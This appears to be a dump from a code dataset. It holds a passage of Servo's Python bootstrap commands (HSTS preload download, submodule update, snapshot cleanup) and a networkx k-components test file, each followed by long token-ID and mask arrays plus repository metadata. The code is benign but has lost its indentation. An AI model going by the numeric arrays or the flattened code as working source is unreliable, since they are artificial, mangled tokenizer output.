"/net/+/master/http/transport_security_state_static.json?format=TEXT"
try:
content_base64 = download_bytes("Chromium HSTS preload list", chromium_hsts_url)
except urllib2.URLError:
print("Unable to download chromium HSTS preload list; are you connected to the internet?")
sys.exit(1)
content_decoded = base64.b64decode(content_base64)
# The chromium "json" has single line comments in it which, of course,
# are non-standard/non-valid json. Simply strip them out before parsing
content_json = re.sub(r'//.*$', '', content_decoded, flags=re.MULTILINE)
try:
pins_and_static_preloads = json.loads(content_json)
entries = {
"entries": [
{
"host": e["name"],
"include_subdomains": e.get("include_subdomains", False)
}
for e in pins_and_static_preloads["entries"]
]
}
with open(path.join(preload_path, preload_filename), 'w') as fd:
json.dump(entries, fd, indent=4)
except ValueError, e:
print("Unable to parse chromium HSTS preload list, has the format changed?")
sys.exit(1)
@Command('update-submodules',
description='Update submodules',
category='bootstrap')
def update_submodules(self):
# Ensure that the installed git version is >= 1.8.1
gitversion_output = subprocess.check_output(["git", "--version"])
gitversion = LooseVersion(gitversion_output.split(" ")[-1])
if gitversion < LooseVersion("1.8.1"):
print("Git version 1.8.1 or above required. Current version is {}"
.format(gitversion))
sys.exit(1)
submodules = subprocess.check_output(["git", "submodule", "status"])
for line in submodules.split('\n'):
components = line.strip().split(' ')
if len(components) > 1:
module_path = components[1]
if path.exists(module_path):
with cd(module_path):
output = subprocess.check_output(
["git", "status", "--porcelain"])
if len(output) != 0:
print("error: submodule %s is not clean"
% module_path)
print("\nClean the submodule and try again.")
return 1
subprocess.check_call(
["git", "submodule", "--quiet", "sync", "--recursive"])
subprocess.check_call(
["git", "submodule", "update", "--init", "--recursive"])
@Command('clean-snapshots',
description='Clean unused snapshots of Rust and Cargo',
category='bootstrap')
@CommandArgument('--force', '-f',
action='store_true',
help='Actually remove stuff')
def clean_snapshots(self, force=False):
rust_current = self.rust_snapshot_path().split('/')[0]
cargo_current = self.cargo_build_id()
print("Current Rust version: " + rust_current)
print("Current Cargo version: " + cargo_current)
removing_anything = False
for current, base in [(rust_current, "rust"), (cargo_current, "cargo")]:
base = path.join(self.context.sharedir, base)
for name in os.listdir(base):
if name != current:
removing_anything = True
name = path.join(base, name)
if force:
print("Removing " + name)
shutil.rmtree(name)
else:
print("Would remove " + name)
if not removing_anything:
print("Nothing to remove.")
elif not force:
print("Nothing done. "
"Run `./mach clean-snapshots -f` to actually remove.")
|
mpl-2.0
|
[
3,
1898,
6171,
710,
3739,
2392,
7290,
23493,
14,
1666,
314,
5877,
199,
3,
570,
737,
314,
2746,
13,
1896,
2082,
402,
642,
4084,
14,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
665,
3961,
13,
1282,
33,
4576,
503,
199,
3,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
30,
503,
314,
10697,
4190,
199,
3,
665,
3961,
13,
13965,
503,
1455,
921,
16374,
14,
1308,
15,
2383,
15,
13965,
6244,
737,
2195,
199,
3,
945,
14,
961,
570,
1443,
440,
506,
8876,
12,
6042,
12,
503,
1854,
199,
3,
871,
7182,
370,
5204,
2895,
14,
199,
199,
504,
636,
2443,
363,
492,
870,
63,
1593,
12,
2649,
63,
5955,
199,
199,
646,
1300,
772,
199,
646,
2022,
199,
646,
747,
199,
646,
747,
14,
515,
465,
931,
199,
646,
295,
199,
646,
5145,
199,
646,
3873,
199,
646,
984,
199,
646,
5228,
199,
646,
13608,
199,
646,
4011,
18,
199,
504,
7065,
14,
1023,
492,
18462,
199,
199,
504,
14401,
14,
11582,
492,
334,
272,
5817,
5201,
12,
272,
5817,
6663,
12,
272,
5817,
12,
199,
9,
199,
199,
504,
8926,
2392,
14,
1531,
63,
1095,
492,
5817,
1563,
12,
12829,
12,
1591,
63,
19956,
421,
199,
318,
5235,
8,
3257,
12,
2928,
12,
7060,
304,
272,
870,
480,
18085,
450,
83,
11500,
450,
4328,
9,
272,
32490,
275,
334,
736,
14,
2314,
14,
362,
480,
16718,
531,
508,
298,
29271,
531,
503,
334,
1397,
984,
14,
2703,
14,
21122,
1012,
339,
862,
26,
267,
3085,
275,
4011,
18,
14,
10890,
8,
2164,
9,
398,
289,
890,
275,
488,
267,
340,
3085,
14,
815,
1252,
19958,
360,
2714,
13,
4625,
735,
288,
289,
890,
275,
1109,
8,
4518,
14,
815,
1252,
19958,
360,
2714,
13,
4625,
1959,
1913,
1012,
398,
6488,
1354,
275,
378,
267,
3728,
63,
890,
275,
28828,
398,
1830,
715,
26,
288,
3728,
275,
3085,
14,
739,
8,
4604,
63,
890,
9,
288,
340,
440,
3728,
26,
355,
2059,
288,
6488,
1354,
847,
822,
8,
4604,
9,
288,
340,
440,
32490,
26,
355,
340,
289,
890,
365,
440,
488,
26,
490,
299,
319,
275,
6488,
1354,
627,
2948,
14,
16,
1182,
289,
890,
490,
870,
4582,
82,
18085,
450,
83,
26,
450,
21,
14,
17,
70,
8530,
2,
450,
334,
3257,
12,
299,
319,
395,
1284,
18413,
2234,
984,
14,
2703,
14,
4939,
342,
288,
7060,
14,
952,
8,
4604,
9,
398,
340,
440,
32490,
26,
288,
870,
342,
272,
871,
4011,
18,
14,
12815,
12,
325,
26,
267,
870,
480,
11950,
3405,
4366,
68,
304,
450,
83,
446,
450,
83,
2,
450,
334,
69,
14,
600,
12,
325,
14,
5764,
12,
2928,
430,
398,
5033,
63,
466,
275,
3873,
14,
1074,
63,
1199,
5234,
16040,
401,
3905,
77,
29126,
1913,
1252,
2325,
342,
267,
340,
325,
14,
600,
508,
7901,
436,
5033,
63,
466,
315,
2097,
73,
8040,
401,
298,
73,
26735,
401,
298,
73,
10253,
401,
298,
73,
14408,
401,
298,
88,
1184,
6229,
288,
327,
284,
10253,
288,
870,
480,
7443,
26,
3739,
2392,
1630,
440,
5544,
15865,
4337,
2075,
19076,
402,
820,
833,
531,
288,
870,
480,
9295,
4178,
921,
5031,
14,
957,
15,
25943,
15,
25943,
15,
10115,
15,
1703,
1020,
531,
398,
984,
14,
2224,
8,
17,
9,
421,
199,
318,
5235,
63,
493,
8,
3257,
12,
2928,
12,
5042,
304,
272,
543,
1551,
8,
5119,
12,
283,
6603,
358,
465,
6111,
26,
267,
5235,
8,
3257,
12,
2928,
12,
6111,
9,
421,
199,
318,
5235,
63,
2394,
8,
3257,
12,
2928,
304,
272,
1564,
63,
5491,
275,
5228,
14,
6424,
342,
272,
5235,
8,
3257,
12,
2928,
12,
1564,
63,
5491,
9,
272,
372,
1564,
63,
5491,
14,
7150,
342,
421,
199,
318,
5536,
8,
2164,
12,
5042,
12,
4057,
694,
29,
403,
304,
272,
13608,
14,
1490,
8,
2164,
680,
5005,
452,
8,
5119,
9,
339,
340,
4057,
694,
26,
267,
367,
289,
315,
747,
14,
7374,
8,
1185,
694,
304,
288,
289,
5682,
275,
931,
14,
904,
8,
1185,
694,
12,
289,
9,
288,
370,
275,
931,
14,
904,
8,
5119,
12,
289,
9,
288,
747,
14,
8165,
8,
20095,
12,
370,
9,
267,
747,
14,
19405,
8,
1185,
694,
9,
339,
747,
14,
2168,
8,
2164,
9,
421,
199,
32,
3110,
6663,
199,
533,
30611,
14680,
8,
3110,
1563,
304,
272,
768,
3110,
360,
1813,
297,
1467,
1369,
534,
5375,
3734,
3272,
3718,
297,
1467,
4637,
534,
11146,
358,
272,
347,
2589,
8,
277,
304,
267,
2589,
275,
291,
14,
1506,
63,
1813,
342,
267,
870,
480,
3790,
15097,
2458,
83,
2,
450,
2589,
905,
3243,
3135,
267,
340,
984,
14,
3246,
508,
298,
13245,
582,
288,
870,
480,
3790,
577,
57,
6533,
63,
16983,
63,
3243,
2458,
83,
2,
450,
2589,
905,
11446,
6533,
63,
16983,
63,
3243,
3135,
267,
587,
26,
288,
870,
480,
3790,
16978,
63,
16983,
63,
3243,
2458,
83,
2,
450,
2589,
905,
6533,
63,
16983,
63,
3243,
3135,
339,
768,
3110,
360,
11146,
13,
19622,
297,
1467,
1369,
534,
11950,
314,
820,
833,
6365,
5740,
297,
1467,
4637,
534,
11146,
358,
272,
768,
3110,
5201,
4517,
3990,
297,
2475,
70,
297,
2151,
1595,
534,
1617,
63,
2052,
297,
2151,
1720,
534,
13606,
5235,
2755,
340,
282,
5740,
2575,
3495,
358,
272,
347,
15865,
63,
19622,
67,
8,
277,
12,
3542,
29,
797,
304,
267,
519,
833,
63,
694,
275,
931,
14,
904,
8,
288,
291,
14,
1100,
14,
6251,
694,
12,
298,
19622,
401,
627,
277,
14,
19622,
63,
4753,
63,
515,
1252,
1294,
4769,
2237,
267,
340,
440,
3542,
436,
931,
14,
2444,
8,
515,
14,
904,
8,
19622,
63,
694,
12,
298,
19622,
67,
401,
298,
1393,
401,
298,
19622,
67,
14150,
288,
870,
480,
12038,
820,
833,
6365,
2575,
13557,
4765,
1284,
628,
6099,
288,
870,
480,
6119,
1204,
11146,
13,
19622,
1553,
3990,
92,
370,
5235,
4020,
2685,
288,
372,
398,
340,
931,
14,
6027,
8,
19622,
63,
694,
304,
288,
5145,
14,
9242,
8,
19622,
63,
694,
9,
267,
747,
14,
8347,
8,
19622,
63,
694,
9,
398,
5740,
63,
633,
275,
1689,
2859,
921
] |
[
1898,
6171,
710,
3739,
2392,
7290,
23493,
14,
1666,
314,
5877,
199,
3,
570,
737,
314,
2746,
13,
1896,
2082,
402,
642,
4084,
14,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
665,
3961,
13,
1282,
33,
4576,
503,
199,
3,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
30,
503,
314,
10697,
4190,
199,
3,
665,
3961,
13,
13965,
503,
1455,
921,
16374,
14,
1308,
15,
2383,
15,
13965,
6244,
737,
2195,
199,
3,
945,
14,
961,
570,
1443,
440,
506,
8876,
12,
6042,
12,
503,
1854,
199,
3,
871,
7182,
370,
5204,
2895,
14,
199,
199,
504,
636,
2443,
363,
492,
870,
63,
1593,
12,
2649,
63,
5955,
199,
199,
646,
1300,
772,
199,
646,
2022,
199,
646,
747,
199,
646,
747,
14,
515,
465,
931,
199,
646,
295,
199,
646,
5145,
199,
646,
3873,
199,
646,
984,
199,
646,
5228,
199,
646,
13608,
199,
646,
4011,
18,
199,
504,
7065,
14,
1023,
492,
18462,
199,
199,
504,
14401,
14,
11582,
492,
334,
272,
5817,
5201,
12,
272,
5817,
6663,
12,
272,
5817,
12,
199,
9,
199,
199,
504,
8926,
2392,
14,
1531,
63,
1095,
492,
5817,
1563,
12,
12829,
12,
1591,
63,
19956,
421,
199,
318,
5235,
8,
3257,
12,
2928,
12,
7060,
304,
272,
870,
480,
18085,
450,
83,
11500,
450,
4328,
9,
272,
32490,
275,
334,
736,
14,
2314,
14,
362,
480,
16718,
531,
508,
298,
29271,
531,
503,
334,
1397,
984,
14,
2703,
14,
21122,
1012,
339,
862,
26,
267,
3085,
275,
4011,
18,
14,
10890,
8,
2164,
9,
398,
289,
890,
275,
488,
267,
340,
3085,
14,
815,
1252,
19958,
360,
2714,
13,
4625,
735,
288,
289,
890,
275,
1109,
8,
4518,
14,
815,
1252,
19958,
360,
2714,
13,
4625,
1959,
1913,
1012,
398,
6488,
1354,
275,
378,
267,
3728,
63,
890,
275,
28828,
398,
1830,
715,
26,
288,
3728,
275,
3085,
14,
739,
8,
4604,
63,
890,
9,
288,
340,
440,
3728,
26,
355,
2059,
288,
6488,
1354,
847,
822,
8,
4604,
9,
288,
340,
440,
32490,
26,
355,
340,
289,
890,
365,
440,
488,
26,
490,
299,
319,
275,
6488,
1354,
627,
2948,
14,
16,
1182,
289,
890,
490,
870,
4582,
82,
18085,
450,
83,
26,
450,
21,
14,
17,
70,
8530,
2,
450,
334,
3257,
12,
299,
319,
395,
1284,
18413,
2234,
984,
14,
2703,
14,
4939,
342,
288,
7060,
14,
952,
8,
4604,
9,
398,
340,
440,
32490,
26,
288,
870,
342,
272,
871,
4011,
18,
14,
12815,
12,
325,
26,
267,
870,
480,
11950,
3405,
4366,
68,
304,
450,
83,
446,
450,
83,
2,
450,
334,
69,
14,
600,
12,
325,
14,
5764,
12,
2928,
430,
398,
5033,
63,
466,
275,
3873,
14,
1074,
63,
1199,
5234,
16040,
401,
3905,
77,
29126,
1913,
1252,
2325,
342,
267,
340,
325,
14,
600,
508,
7901,
436,
5033,
63,
466,
315,
2097,
73,
8040,
401,
298,
73,
26735,
401,
298,
73,
10253,
401,
298,
73,
14408,
401,
298,
88,
1184,
6229,
288,
327,
284,
10253,
288,
870,
480,
7443,
26,
3739,
2392,
1630,
440,
5544,
15865,
4337,
2075,
19076,
402,
820,
833,
531,
288,
870,
480,
9295,
4178,
921,
5031,
14,
957,
15,
25943,
15,
25943,
15,
10115,
15,
1703,
1020,
531,
398,
984,
14,
2224,
8,
17,
9,
421,
199,
318,
5235,
63,
493,
8,
3257,
12,
2928,
12,
5042,
304,
272,
543,
1551,
8,
5119,
12,
283,
6603,
358,
465,
6111,
26,
267,
5235,
8,
3257,
12,
2928,
12,
6111,
9,
421,
199,
318,
5235,
63,
2394,
8,
3257,
12,
2928,
304,
272,
1564,
63,
5491,
275,
5228,
14,
6424,
342,
272,
5235,
8,
3257,
12,
2928,
12,
1564,
63,
5491,
9,
272,
372,
1564,
63,
5491,
14,
7150,
342,
421,
199,
318,
5536,
8,
2164,
12,
5042,
12,
4057,
694,
29,
403,
304,
272,
13608,
14,
1490,
8,
2164,
680,
5005,
452,
8,
5119,
9,
339,
340,
4057,
694,
26,
267,
367,
289,
315,
747,
14,
7374,
8,
1185,
694,
304,
288,
289,
5682,
275,
931,
14,
904,
8,
1185,
694,
12,
289,
9,
288,
370,
275,
931,
14,
904,
8,
5119,
12,
289,
9,
288,
747,
14,
8165,
8,
20095,
12,
370,
9,
267,
747,
14,
19405,
8,
1185,
694,
9,
339,
747,
14,
2168,
8,
2164,
9,
421,
199,
32,
3110,
6663,
199,
533,
30611,
14680,
8,
3110,
1563,
304,
272,
768,
3110,
360,
1813,
297,
1467,
1369,
534,
5375,
3734,
3272,
3718,
297,
1467,
4637,
534,
11146,
358,
272,
347,
2589,
8,
277,
304,
267,
2589,
275,
291,
14,
1506,
63,
1813,
342,
267,
870,
480,
3790,
15097,
2458,
83,
2,
450,
2589,
905,
3243,
3135,
267,
340,
984,
14,
3246,
508,
298,
13245,
582,
288,
870,
480,
3790,
577,
57,
6533,
63,
16983,
63,
3243,
2458,
83,
2,
450,
2589,
905,
11446,
6533,
63,
16983,
63,
3243,
3135,
267,
587,
26,
288,
870,
480,
3790,
16978,
63,
16983,
63,
3243,
2458,
83,
2,
450,
2589,
905,
6533,
63,
16983,
63,
3243,
3135,
339,
768,
3110,
360,
11146,
13,
19622,
297,
1467,
1369,
534,
11950,
314,
820,
833,
6365,
5740,
297,
1467,
4637,
534,
11146,
358,
272,
768,
3110,
5201,
4517,
3990,
297,
2475,
70,
297,
2151,
1595,
534,
1617,
63,
2052,
297,
2151,
1720,
534,
13606,
5235,
2755,
340,
282,
5740,
2575,
3495,
358,
272,
347,
15865,
63,
19622,
67,
8,
277,
12,
3542,
29,
797,
304,
267,
519,
833,
63,
694,
275,
931,
14,
904,
8,
288,
291,
14,
1100,
14,
6251,
694,
12,
298,
19622,
401,
627,
277,
14,
19622,
63,
4753,
63,
515,
1252,
1294,
4769,
2237,
267,
340,
440,
3542,
436,
931,
14,
2444,
8,
515,
14,
904,
8,
19622,
63,
694,
12,
298,
19622,
67,
401,
298,
1393,
401,
298,
19622,
67,
14150,
288,
870,
480,
12038,
820,
833,
6365,
2575,
13557,
4765,
1284,
628,
6099,
288,
870,
480,
6119,
1204,
11146,
13,
19622,
1553,
3990,
92,
370,
5235,
4020,
2685,
288,
372,
398,
340,
931,
14,
6027,
8,
19622,
63,
694,
304,
288,
5145,
14,
9242,
8,
19622,
63,
694,
9,
267,
747,
14,
8347,
8,
19622,
63,
694,
9,
398,
5740,
63,
633,
275,
1689,
2859,
921,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
JFriel/honours_project
|
networkx/build/lib/networkx/algorithms/connectivity/tests/test_kcomponents.py
|
50
|
8395
|
# Test for Moody and White k-components algorithm
from nose.tools import assert_equal, assert_true, raises
import networkx as nx
from networkx.algorithms.connectivity.kcomponents import (
build_k_number_dict,
_consolidate,
)
##
## A nice synthetic graph
##
def torrents_and_ferraro_graph():
# Graph from http://arxiv.org/pdf/1503.04476v1 p.26
G = nx.convert_node_labels_to_integers(
nx.grid_graph([5, 5]),
label_attribute='labels',
)
rlabels = nx.get_node_attributes(G, 'labels')
labels = {v: k for k, v in rlabels.items()}
for nodes in [(labels[(0,4)], labels[(1,4)]),
(labels[(3,4)], labels[(4,4)])]:
new_node = G.order() + 1
# Petersen graph is triconnected
P = nx.petersen_graph()
G = nx.disjoint_union(G, P)
# Add two edges between the grid and P
G.add_edge(new_node+1, nodes[0])
G.add_edge(new_node, nodes[1])
# K5 is 4-connected
K = nx.complete_graph(5)
G = nx.disjoint_union(G, K)
# Add three edges between P and K5
G.add_edge(new_node+2, new_node+11)
G.add_edge(new_node+3, new_node+12)
G.add_edge(new_node+4, new_node+13)
# Add another K5 sharing a node
G = nx.disjoint_union(G, K)
nbrs = G[new_node+10]
G.remove_node(new_node+10)
for nbr in nbrs:
G.add_edge(new_node+17, nbr)
# This edge makes the graph biconnected; it's
# needed because K5s share only one node.
G.add_edge(new_node+16, new_node+8)
for nodes in [(labels[(0, 0)], labels[(1, 0)]),
(labels[(3, 0)], labels[(4, 0)])]:
new_node = G.order() + 1
# Petersen graph is triconnected
P = nx.petersen_graph()
G = nx.disjoint_union(G, P)
# Add two edges between the grid and P
G.add_edge(new_node+1, nodes[0])
G.add_edge(new_node, nodes[1])
# K5 is 4-connected
K = nx.complete_graph(5)
G = nx.disjoint_union(G, K)
# Add three edges between P and K5
G.add_edge(new_node+2, new_node+11)
G.add_edge(new_node+3, new_node+12)
G.add_edge(new_node+4, new_node+13)
# Add another K5 sharing two nodes
G = nx.disjoint_union(G,K)
nbrs = G[new_node+10]
G.remove_node(new_node+10)
for nbr in nbrs:
G.add_edge(new_node+17, nbr)
nbrs2 = G[new_node+9]
G.remove_node(new_node+9)
for nbr in nbrs2:
G.add_edge(new_node+18, nbr)
G.name = 'Example graph for connectivity'
return G
@raises(nx.NetworkXNotImplemented)
def test_directed():
G = nx.gnp_random_graph(10, 0.2, directed=True)
nx.k_components(G)
# Helper function
def _check_connectivity(G):
result = nx.k_components(G)
for k, components in result.items():
if k < 3:
continue
for component in components:
C = G.subgraph(component)
assert_true(nx.node_connectivity(C) >= k)
def test_torrents_and_ferraro_graph():
G = torrents_and_ferraro_graph()
_check_connectivity(G)
def test_random_gnp():
G = nx.gnp_random_graph(50, 0.2)
_check_connectivity(G)
def test_shell():
constructor=[(20, 80, 0.8), (80, 180, 0.6)]
G = nx.random_shell_graph(constructor)
_check_connectivity(G)
def test_configuration():
deg_seq = nx.utils.create_degree_sequence(100, nx.utils.powerlaw_sequence)
G = nx.Graph(nx.configuration_model(deg_seq))
G.remove_edges_from(G.selfloop_edges())
_check_connectivity(G)
def test_karate():
G = nx.karate_club_graph()
_check_connectivity(G)
def test_karate_component_number():
karate_k_num = {
0: 4, 1: 4, 2: 4, 3: 4, 4: 3, 5: 3, 6: 3, 7: 4, 8: 4, 9: 2,
10: 3, 11: 1, 12: 2, 13: 4, 14: 2, 15: 2, 16: 2, 17: 2,
18: 2, 19: 3, 20: 2, 21: 2, 22: 2, 23: 3, 24: 3, 25: 3,
26: 2, 27: 3, 28: 3, 29: 3, 30: 4, 31: 3, 32: 4, 33: 4
}
G = nx.karate_club_graph()
k_components = nx.k_components(G)
k_num = build_k_number_dict(k_components)
assert_equal(karate_k_num, k_num)
def test_torrents_and_ferraro_detail_3_and_4():
solution = {
3: [{25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 42},
{44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 61},
{63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 79, 80},
{81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 93, 94, 95, 99, 100},
{39, 40, 41, 42, 43},
{58, 59, 60, 61, 62},
{76, 77, 78, 79, 80},
{96, 97, 98, 99, 100},
],
4: [{35, 36, 37, 38, 42},
{39, 40, 41, 42, 43},
{54, 55, 56, 57, 61},
{58, 59, 60, 61, 62},
{73, 74, 75, 79, 80},
{76, 77, 78, 79, 80},
{93, 94, 95, 99, 100},
{96, 97, 98, 99, 100},
],
}
G = torrents_and_ferraro_graph()
result = nx.k_components(G)
for k, components in result.items():
if k < 3:
continue
assert_true(len(components) == len(solution[k]))
for component in components:
assert_true(component in solution[k])
def test_davis_southern_women():
G = nx.davis_southern_women_graph()
_check_connectivity(G)
def test_davis_southern_women_detail_3_and_4():
solution = {
3: [{
'Nora Fayette',
'E10',
'Myra Liddel',
'E12',
'E14',
'Frances Anderson',
'Evelyn Jefferson',
'Ruth DeSand',
'Helen Lloyd',
'Eleanor Nye',
'E9',
'E8',
'E5',
'E4',
'E7',
'E6',
'E1',
'Verne Sanderson',
'E3',
'E2',
'Theresa Anderson',
'Pearl Oglethorpe',
'Katherina Rogers',
'Brenda Rogers',
'E13',
'Charlotte McDowd',
'Sylvia Avondale',
'Laura Mandeville',
},
],
4: [{
'Nora Fayette',
'E10',
'Verne Sanderson',
'E12',
'Frances Anderson',
'Evelyn Jefferson',
'Ruth DeSand',
'Helen Lloyd',
'Eleanor Nye',
'E9',
'E8',
'E5',
'E4',
'E7',
'E6',
'Myra Liddel',
'E3',
'Theresa Anderson',
'Katherina Rogers',
'Brenda Rogers',
'Charlotte McDowd',
'Sylvia Avondale',
'Laura Mandeville',
},
],
}
G = nx.davis_southern_women_graph()
result = nx.k_components(G)
for k, components in result.items():
if k < 3:
continue
assert_true(len(components) == len(solution[k]))
for component in components:
assert_true(component in solution[k])
def test_set_consolidation_rosettacode():
# Tests from http://rosettacode.org/wiki/Set_consolidation
def list_of_sets_equal(result, solution):
assert_equal(
{frozenset(s) for s in result},
{frozenset(s) for s in solution}
)
question = [{'A', 'B'}, {'C', 'D'}]
solution = [{'A', 'B'}, {'C', 'D'}]
list_of_sets_equal(_consolidate(question, 1), solution)
question = [{'A', 'B'}, {'B', 'C'}]
solution = [{'A', 'B', 'C'}]
list_of_sets_equal(_consolidate(question, 1), solution)
question = [{'A', 'B'}, {'C', 'D'}, {'D', 'B'}]
solution = [{'A', 'C', 'B', 'D'}]
list_of_sets_equal(_consolidate(question, 1), solution)
question = [{'H', 'I', 'K'}, {'A', 'B'}, {'C', 'D'}, {'D', 'B'}, {'F', 'G', 'H'}]
solution = [{'A', 'C', 'B', 'D'}, {'G', 'F', 'I', 'H', 'K'}]
list_of_sets_equal(_consolidate(question, 1), solution)
question = [{'A','H'}, {'H','I','K'}, {'A','B'}, {'C','D'}, {'D','B'}, {'F','G','H'}]
solution = [{'A', 'C', 'B', 'D', 'G', 'F', 'I', 'H', 'K'}]
list_of_sets_equal(_consolidate(question, 1), solution)
question = [{'H','I','K'}, {'A','B'}, {'C','D'}, {'D','B'}, {'F','G','H'}, {'A','H'}]
solution = [{'A', 'C', 'B', 'D', 'G', 'F', 'I', 'H', 'K'}]
list_of_sets_equal(_consolidate(question, 1), solution)
|
gpl-3.0
|
[
3,
1379,
367,
3930,
1351,
436,
2816,
1175,
1022,
13,
4608,
5563,
199,
504,
11354,
14,
2537,
492,
702,
63,
1452,
12,
702,
63,
2052,
12,
6534,
199,
646,
24313,
465,
8484,
199,
504,
24313,
14,
24365,
14,
22344,
14,
75,
4608,
492,
334,
272,
1900,
63,
75,
63,
1955,
63,
807,
12,
272,
485,
388,
28335,
602,
12,
199,
9,
199,
199,
309,
199,
309,
437,
14213,
9560,
21231,
3343,
199,
309,
199,
318,
17671,
83,
63,
460,
63,
70,
1508,
285,
79,
63,
2180,
837,
272,
327,
11513,
687,
1455,
921,
27290,
14,
1308,
15,
5607,
15,
1046,
1644,
14,
9111,
2114,
86,
17,
299,
14,
1479,
272,
598,
275,
8484,
14,
3916,
63,
932,
63,
3512,
63,
475,
63,
23931,
8,
267,
8484,
14,
3825,
63,
2180,
779,
21,
12,
959,
2522,
267,
1768,
63,
3215,
534,
3512,
297,
272,
776,
272,
519,
3512,
275,
8484,
14,
362,
63,
932,
63,
2987,
8,
39,
12,
283,
3512,
358,
272,
3628,
275,
469,
86,
26,
1022,
367,
1022,
12,
373,
315,
519,
3512,
14,
1744,
12737,
339,
367,
3380,
315,
3842,
3512,
7528,
16,
12,
20,
4360,
3628,
7528,
17,
12,
20,
16636,
2116,
334,
3512,
7528,
19,
12,
20,
4360,
3628,
7528,
20,
12,
20,
3948,
2189,
267,
892,
63,
932,
275,
598,
14,
1648,
342,
435,
413,
267,
327,
22912,
2464,
3343,
365,
3229,
7113,
267,
510,
275,
8484,
14,
321,
351,
2464,
63,
2180,
342,
267,
598,
275,
8484,
14,
31880,
63,
8888,
8,
39,
12,
510,
9,
267,
327,
2654,
2877,
8207,
3382,
314,
6068,
436,
510,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
17,
12,
3380,
59,
16,
566,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
12,
3380,
59,
17,
566,
267,
327,
1804,
21,
365,
841,
13,
7113,
267,
1804,
275,
8484,
14,
4883,
63,
2180,
8,
21,
9,
267,
598,
275,
8484,
14,
31880,
63,
8888,
8,
39,
12,
1804,
9,
267,
327,
2654,
7795,
8207,
3382,
510,
436,
1804,
21,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
18,
12,
892,
63,
932,
11,
845,
9,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
19,
12,
892,
63,
932,
11,
713,
9,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
20,
12,
892,
63,
932,
11,
969,
9,
267,
327,
2654,
4573,
1804,
21,
26994,
282,
1031,
267,
598,
275,
8484,
14,
31880,
63,
8888,
8,
39,
12,
1804,
9,
267,
8526,
2393,
275,
598,
59,
1222,
63,
932,
11,
709,
61,
267,
598,
14,
2168,
63,
932,
8,
1222,
63,
932,
11,
709,
9,
267,
367,
31646,
315,
8526,
2393,
26,
288,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
1196,
12,
31646,
9,
267,
327,
961,
6275,
7704,
314,
3343,
330,
4677,
4636,
27,
652,
1159,
267,
327,
4346,
2952,
1804,
21,
83,
8663,
1454,
1373,
1031,
14,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
975,
12,
892,
63,
932,
11,
24,
9,
339,
367,
3380,
315,
3842,
3512,
7528,
16,
12,
378,
4360,
3628,
7528,
17,
12,
378,
16636,
2116,
334,
3512,
7528,
19,
12,
378,
4360,
3628,
7528,
20,
12,
378,
3948,
2189,
267,
892,
63,
932,
275,
598,
14,
1648,
342,
435,
413,
267,
327,
22912,
2464,
3343,
365,
3229,
7113,
267,
510,
275,
8484,
14,
321,
351,
2464,
63,
2180,
342,
267,
598,
275,
8484,
14,
31880,
63,
8888,
8,
39,
12,
510,
9,
267,
327,
2654,
2877,
8207,
3382,
314,
6068,
436,
510,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
17,
12,
3380,
59,
16,
566,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
12,
3380,
59,
17,
566,
267,
327,
1804,
21,
365,
841,
13,
7113,
267,
1804,
275,
8484,
14,
4883,
63,
2180,
8,
21,
9,
267,
598,
275,
8484,
14,
31880,
63,
8888,
8,
39,
12,
1804,
9,
267,
327,
2654,
7795,
8207,
3382,
510,
436,
